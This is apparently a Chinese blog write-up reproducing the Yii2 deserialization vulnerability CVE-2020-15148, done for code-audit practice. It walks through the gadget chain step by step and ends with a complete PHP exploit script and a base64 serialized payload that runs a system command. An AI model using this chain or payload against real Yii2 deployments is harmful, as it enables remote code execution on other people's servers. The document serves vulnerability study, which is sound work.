Yii2框架 反序列化漏洞复现(CVE-2020-15148)

Yii2框架 反序列化漏洞复现(CVE-2020-15148)

前言:

phpthink 的链子有点长 暂时先复现一下简单点的框架,跟着师傅们的思路学习一下,提高一下自己的代码审计能力,搞完这个复现 也该去学java了

源码地址:https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz

该漏洞适用于YII2.0.38之前,用户如果可以控制unserialize的传入值,则可以进行远程代码执行。

环境用的是PHPstudy。 需要 修改config\web.php中cookieValidationKey为任意值,作为yii\web\Request::cookieValidationKey的加密值,不然会发送报错。

CVE-2020-15148漏洞复现

一般的反序列化链子 都会以魔术方法 __destruct 作为起点来找利用点   这个漏洞也是的。 全局搜索 __destruct ,对于这个魔术方法 有很多文件都有, 只能一个一个去找利用点 去探索了。

Yii2框架 反序列化漏洞复现(CVE-2020-15148)

其实开查找 也挺方便的 直接 CTRL + 左键 ,最终找到 /vendor/yiisoft/yii2/db/BatchQueryResult.php  reset() 方法可以利用 这会又可以调用 _dataReader下的close方法。

class BatchQueryResult{
    private $_dataReader;
   public function __destruct()
    {
        // make sure cursor is closed
        $this->reset();
    }
    public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }
        $this->_dataReader = null;
        $this->_batch = null;
        $this->_value = null;
        $this->_key = null;
    }
}

而这里的 $_dataReader 是可控的 ,那么我们就可以联想到__call 方法,让_dataReader 成为一个类 去调用 __close() ,如果该类中没有__close 方法,就会自动调用__call方法。

__call : 在对象中调用一个不可访问方法时,__call会被调用。

继续 全局搜索__call ,找到   一条错误的链子( 可以跳过,直接去看我下面正确的链子)

错误的链子查找:

src\Codeception\Util\Maybe.php中的 __call方法()
    public function __call($method, $args)
    {
        if ($this->val === null) {
            return new Maybe();
        }
        return call_user_func_array([$this->val, $method], $args);
    }

think : 这个 val 可控,但是我们调用的 close()方法是无参的 这里的 $method应该是 close方法,而$args  应该是空,所以 这条链子应该是用不了的 (如果我说错了,请各位师傅纠正我一下,因为我是真的菜)

正确的链子:

继续全局找 __call()  ,找到 src/Faker/Generator.php 可以看到:

    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

跟进一下这个 $this ->format()

src/Faker/Generator.php

    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

call_user_func_array(callable $callback, array $args): mixed

把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入。

这里是call_user_func_array直接出来了 ,跟进一下这个

$this->getFormatter($formatter)
    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);
                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

进入第一个 if 判断,如果 $this – > formatters[$formatter] 有值,就返回其值,

call_user_func_array的第二个 $arguments 的值,我们无法控制,默认为空数组,但是可以控制call_user_func_array的第一个参数,这样我们就可以通过它作为跳板去无参调用其它类的方法。

所以我们能够做到的只有两个办法,一个就是调用 yii2 中的无参方法,或者调用 原生类php 的类似 phpinfo() 这样的无参方法,但是肯定事不能RCE的,所以我们的思路是要调用Yii框架中的无参的 call_user_func_array 作为跳板 再次调用执行。

例如:

<?php
namespace Foobar;
class Foo {
    static public function test($name) {
        print "Hello world!\n";
    }
}
call_user_func_array(array(new Foo, 'test'), array());
       # 调用 Foo类中的 test方法 输出 "hello world"
?>

但是有个问题, 无参的参数实在是太多了,一个一个找肯定费时费力,这就要学习一下其他师傅的高深只会,直接 用正则匹配来搜索含有 call_user_func_array的方法

全局搜索进行正则匹配call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)

Yii2框架 反序列化漏洞复现(CVE-2020-15148)

找到 /vendor/yiisoft/yii2/rest/CreateAction.php     这样就一目了然了

    public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }
        return $this->prepareDataProvider();
    }

恰好恰好的是 ctrl +左键可以点击 check Access 和 id  刚好这两个值是可控的,那么链子就可以连上了!

总结一下此条链子的利用:

yii\db\BatchQueryResult::__destruct()
->
Faker\Generator::__call()
->
yii\rest\CreateAction::run()

我的EXP:

<?php
namespace{      //控制器传参入口
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}
namespace yii\db{
    use Faker\Generator;
class BatchQueryResult{
    private $_dataReader;
    public function __construct()
    {
        $this->_dataReader =new Generator();
    }
    }
}
namespace Faker{
    use yii\rest\IndexAction;
    class Generator{
        protected $formatters;
        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run']; #此处调用 IndexAction类中的 run方法
        }
    }
}
namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct()
        {   
            $this->checkAccess = 'system';
            $this->id = 'ls /';
        }
    }
}
//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6NDoibHMgLyI7fWk6MTtzOjM6InJ1biI7fX19fQ

yii 2.0.37以后的版本更新的链子  上课摸鱼的时候再审,现在我要去搞java了..晚会再更后面版本的写到这里

总结:

链子还是挺短 挺简单的,就是需要灵活利用魔术方法,还有回调函数. 学到了

                       

点击阅读全文

上一篇 2023年 6月 7日 am10:54
下一篇 2023年 6月 7日 am10:56